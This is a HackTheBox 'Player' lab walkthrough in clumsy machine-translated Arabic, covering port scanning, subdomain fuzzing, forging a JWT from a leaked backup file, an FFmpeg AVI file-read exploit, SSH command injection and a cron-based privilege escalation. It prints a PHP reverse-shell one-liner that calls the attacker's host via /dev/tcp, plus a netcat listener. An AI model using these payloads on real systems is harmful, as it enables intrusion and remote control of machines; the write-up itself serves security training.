هاك ذا بوكس ​​- تجول لاعب. FFmpeg استغلال ، JWT وقوائم الويب المختلفة

صورة

ما زلت نشر الحلول المرسلة لمزيد من المعالجة من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، سنتطرق إلى JWT ، وننفذ تعدادات الويب مثل البحث عن الأدلة والنطاقات الفرعية وملفات النسخ الاحتياطي ، وسوف نستغل SSRF في تشفير FFmpeg و RCE في SSH.

الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من جهاز كمبيوتر يعمل أو من مضيف تتوفر فيه البيانات المهمة بالنسبة لك ، حيث ينتهي بك المطاف في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمان المعلومات :)

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

استكشاف


ميناء المسح الضوئي


يحتوي هذا الجهاز على عنوان IP 10.10.10.145 ، والذي أقوم بإضافته إلى / etc / hosts.

10.10.10.145 player.htb 

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأن الأمر يستغرق وقتًا طويلاً لمسح جميع المنافذ باستخدام nmap ، فسأفعل ذلك أولاً باستخدام masscan. نحن نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000 

صورة

بعد ذلك ، تحتاج إلى جمع مزيد من المعلومات حول المنافذ المعروفة. للقيام بذلك ، استخدم nmap مع الخيار -A.

 nmap -A player.htb -p22,80,6686 

صورة

وبالتالي ، يقوم المضيف بتشغيل SSH على المنفذين 22 و 6686 ، وكذلك خادم الويب Apache على 80.

تعدادات الويب


بادئ ذي بدء ، انتقل مشاهدة الويب. ولكن للأسف ، لا يوجد شيء مثير للاهتمام.

صورة

في هذه الحالة ، تحتاج عادةً إلى فحص الأدلة. للقيام بذلك ، استخدم gobuster سريعة. في المعلمات ، نشير إلى أننا نريد مسح الأدلة (dir) ، وتحديد الموقع (-u) ، وقائمة بالكلمات (-w) ، والإضافات التي تهمنا (-x) ، وعدد الخيوط (-t).

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php 

من هذه الدلائل ، قاذفة مثيرة للاهتمام. تقول أن هذه خدمة تحرير فيديو ونحن بحاجة إلى بريد إلكتروني صالح.

صورة

بعد أن لعبت قليلاً مع النموذج ، لاحظت أنه يرسل البيانات إلى الصفحة /launcher/dee8dc8a47256c64630d803a4c40786c.php ، حيث يقوم بالتحقق وإعادة التوجيه.

صورة

من بين كل ما لدينا ، لا شيء ولا شيء سيعطينا. الخطوة التالية في القائمة هي البحث عن النطاقات الفرعية. في الآونة الأخيرة ، بعد أن تم إخباري باستخدام wfuzz ، استخدمه ونصح الآخرين بذلك. حدد الرأس (-H) ، والقاموس (-w) ، وعنوان URL (-u) ، واستبعد رمز الاستجابة 403 (--hc 403).

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403 

صورة

وبالتالي ، وجدنا ثلاثة نطاقات فرعية تحتاج أيضًا إلى إضافتها إلى / etc / hosts.

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb 

على dev ، لا يوجد سوى نموذج ترخيص ، على الدردشة فقط غير المجدية ، وعلى تنظيم نموذج لبعض جهات الاتصال.

صورة

صورة

صورة

بعد اختبار النموذج قليلاً ، كل ما لدينا هو إعادة توجيه إلى 501.php وبعض البيانات مع الخطأ المشار إليه.

صورة

صورة

صورة

ولكن مرة أخرى هذا لم يكن كافيا. علاوة على ذلك ، ما أنسى عادةً ، قررت التحقق من النسخ الاحتياطية للملفات. لذلك تم اكتشافه / إطلاق //dee8dc8a47256c64630d803a4c40786c.php~~

صورة

في هذا الرمز ، يتم فك ترميز JWT (الرمز المميز) والتحقق منه. اعتمادًا على التحقق ، تحدث إعادة توجيه إلى إحدى الصفحات. إذا لم يتم توفير الرمز المميز ، فسيتم تعيينه لك.

نظرًا لأننا نعرف المفتاح والقيمة النهائية ، يمكننا تشفيره والحصول على رمز مميز صالح. يمكن القيام بذلك باستخدام هذا الموقع .

صورة

نحصل على رمز مشفر. واستبدله في الطلب.

صورة

صورة

نتيجة لذلك ، تم تقديم نموذج تحميل ملف الوسائط الخاص بنا. بعد تنزيل الصورة ، عرض علينا تنزيل ملف الوسائط بتنسيق AVI.

صورة

نقطة الدخول


نظرًا لأنه يتم إنشاء AVI من ملفنا ، يمكننا استخدام استغلال يسمح لك بقراءة الملفات. رمز يمكن اتخاذها هنا . دعنا نتحقق من ذلك ونرى الملف / etc / passwd.

صورة

دعنا نتحقق من ذلك ونرى الملف / etc / passwd.

 python3 gen_avi.py file:///etc/passwd passwd.avi 

بعد تنزيل وفتح الملف ، نلاحظ الملف / etc / passwd.

صورة

نظرًا لأنه يمكننا قراءة الملفات ، نحتاج إلى جمع قائمة بالملفات التي نعرف عنها. نذكر الأخطاء في ملف contact.php. دعونا نقرأ جميع الملفات المدرجة هناك.

صورة

ولم يكن هناك شيء مثير للاهتمام في ملف جهة الاتصال ، لا يمكن قراءة الإصلاح ، ولكن في service_config نجد تسجيل الدخول وكلمة المرور.

صورة

دعنا نحاول تسجيل الدخول إلى dev.player.htb معهم - البيانات غير مناسبة ، ولكن هناك أكثر من SSHs. المنفذ 22 فشل ، ولكن في 6686 حصلنا على قذيفة.

صورة

USER


لكن القشرة محدودة ، وتذكرت الإصدار 7.2 وقررت التحقق من المآثر.

صورة

وبالتالي ، إذا كان لدينا بيانات اعتماد ، فيمكننا تنفيذ Command Injection.

صورة

صورة

كما أنها توفر لنا قائمة من الأوامر لقراءة وكتابة الملفات. نقرأ علم المستخدم.

صورة

ROOT


الآن يجب أن يكون لدينا حقوق كافية لقراءة fix.php

صورة

نجد بيانات مثيرة للاهتمام فيها تتناسب بالفعل مع dev.player.htb. وهناك نجد المشروع.

صورة

وهذا الملف يمكن الوصول إليه من خلال الوصول إليه من البيئة الخارجية. وهذا هو ، يمكننا وضع قذيفة.

صورة

للقيام بذلك ، افتح المشروع الخاص بك.

صورة

بعد ذلك ، قم بإنشاء ملف باستخدام shell التالي.

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?> 

صورة

الآن افتح الجلسة باستخدام netcat.

 nc -lvp 4321 

بعد ذلك ، ننتقل إلى ملفنا.

صورة

صورة

بعد الانتهاء من التعدادات والتحقق من عدد قليل من الخيارات ، نتوقف عند التحقق من العمليات. بفضل pspy64 ، يمكنك تحديد أنه يتم تشغيل البرنامج النصي buff.php من وقت لآخر باستخدام معرف UID 0 ، أي كجذر.

صورة

دعونا نرى ما يفعل البرنامج النصي.

صورة

عند محاولة إضافة رمز إلى هذا الملف ، نواجه مشكلة - ليس لدينا حقوق.

صورة

ولكن في البرنامج النصي ، يتم تضمين ملف آخر ، حيث يحق لنا الكتابة.

صورة

سنكتب الصدفة المستخدمة بالفعل من قبلنا لهذا الملف ، وفي netcat نحن في انتظار الاتصال.

صورة

بهذه الطريقة نحصل على أقصى الامتيازات.

يمكنك الانضمام إلينا على Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

Source: https://habr.com/ru/post/ar484568/


All Articles